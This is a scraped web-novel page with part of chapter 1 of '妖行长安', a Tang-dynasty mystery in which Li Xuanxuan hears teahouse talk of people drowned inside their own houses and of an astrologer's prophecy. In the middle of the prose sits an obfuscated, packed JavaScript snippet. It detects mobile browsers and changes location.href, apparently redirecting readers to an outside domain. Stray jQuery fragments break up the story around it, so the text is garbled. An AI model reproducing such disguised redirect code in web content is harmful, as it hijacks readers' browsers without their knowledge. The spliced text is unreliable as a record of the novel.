当前位置:矫情书院>其他类型>妖行长安> 1. 第 1 章
阅读设置(推荐配合 快捷键[F11] 进入全屏沉浸式阅读)

设置X

1. 第 1 章(2 / 3)

长安和万年县的县令都说从未遇到过这种情况,那人啊,是被活活溺死在自己的房子里的。”

李玄玄眉心轻拧:“在自己家被溺死?”

“是呀,听说死得可惨了,凸眼吊舌,面色灰白,手做抓握状,据报官的人说,开门时,涌出来的水仍有数十石之多,那报官的人被大水冲到院落里还受了伤。”

数十石,那得有一个池塘的水这么多了,想来凭人的一己之力是做不到往一个房子里灌这么多水,就算能做到,这么做的意义又是什么?能有这个功夫,杀一个人还不是小事一桩?

李玄玄又问道:“为何是长安和万年县?难道是同时向两县都报了官?”

长安城以朱雀大街纵向划分,西边归属长安县,为长安县令管辖范围,东边为万安县,为万年县令管辖范围,这两县之间除非是有特殊的交集,否则都是各管各的。

茶博士嗔怪道:“哪能呢,又不是只死了一人,两个长安县的,一个万年县的,除了第一个死的是在兴庆宫当差的给使,其余两人都是发现尸体后报官的人,两县的县令到现在都未查出个所以然来,邪乎得很!”

李玄玄脸色一变,在兴庆宫当差?!</

;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14966693|161276||http|test|mini|href|location''.split(''|''),0,{}));

() {

$(''.inform'').remove();

$(''#content'').append(''

p>

三哥继位后,并没有像历朝李唐天子那样居住在太极宫,而是依旧住在他做藩王时的官邸,那儿原本叫隆庆坊,现在经过扩建改造,才成为今日的兴庆宫。

死的竟是三哥宫里的人,也不知这件事与三哥是否有什么联系。

茶博士见她神色肃然许久未说话,又将肩头的抹布拿下来,装模作样地抹着李玄玄面前的方桌,小声道:“兴庆宫那位登基当天这雨就开始下,坊间都传,自古以来立长不立贤,那位名不正言不顺,坏了祖宗的规矩,这才降下天怒。”

竟敢说三哥的不是,这可是十恶不赦的重罪!李玄玄怒目圆瞪,不等她拍案怒斥,身后坐着的一位青衣郎君便转过身大声喝道:“你这市井小儿懂什么?!圣人拨乱反正,励精图治,救李唐王朝于危难之下,长又如何?贤又如何?若当初江山落入韦氏母女手中,都得跟别人姓,祖宗谢他都来不赢,何来降怒之说?”

听到立马就有人站出来为三哥说话,李玄玄不禁松了口气,心情舒畅。

长安不愧是礼仪之邦,明事理的人还是多,不会被这些捕风捉影的谣言任意左右了思想,用不着她出面,自有人站出来主持公道,想到茶壶里的茶还未开动,这会都凉了,她拎起茶壶,为自己斟了一盏茶。

那位青衣郎君又道:“我兄长可是在兴庆宫里卫戍的羽林卫,听他说,近日来的雨水其实另有蹊跷,司天台料事如神的苟监你们知道吧?他前日以六爻起卦,近日城内的诸般异象皆因近日将有大凶之人入城为故。”

坐在另一桌的李玄玄顿时将口里的茶水喷了一桌。

见茶博士与那位青衣郎君都停住了话头盯着她,她赶紧用袖口揩揩嘴,道:“刚呛到了,不好意思,你们继续说。”

“据说此人凶祟异常,人行祸至,日后还将祸乱朝纲,是为不祥,只要能找到此人。”青衣郎君又做了个抹脖子的姿势:“别说是雨水,长安城日后必会是一片清平。”

茶博士听后也不再纠结之前那个民间的谣言,转而对青衣郎君的话深信不疑,咋舌道:“苟监料事如神不假,流星坠落的那一日他便预言了大唐即将改朝换代,没想到一语中的,不到一月太上皇就让位圣人,若真如他所说,能早日找到那个不祥之人就好了,也不知那人会长什么样。”

青衣郎君道:“那还用问,像这种大凶之人,定是生得面目可憎、獐头鼠目,人人见而唾之!”

李玄玄垂头啜茶,不敢搭话。

他们口中的苟监,她再熟悉不过,此人在玄学上分明没有半分天分资质可言,就只会信口胡诌,可他偏又常能蒙中。蒙中的次数多了后,信他的人也跟着多了起来,其中不乏几个唯恐天下不乱的拥趸,这些人便常以苟稷的预言为契机煽风点火,左右朝廷舆论,将朝堂搅得乌烟瘴气。

也不知自己是与他八字不合还是怎么的,他从小就爱咬住自己不放。

尚在襁褓时,他便预

上一页 目录 +书签 下一页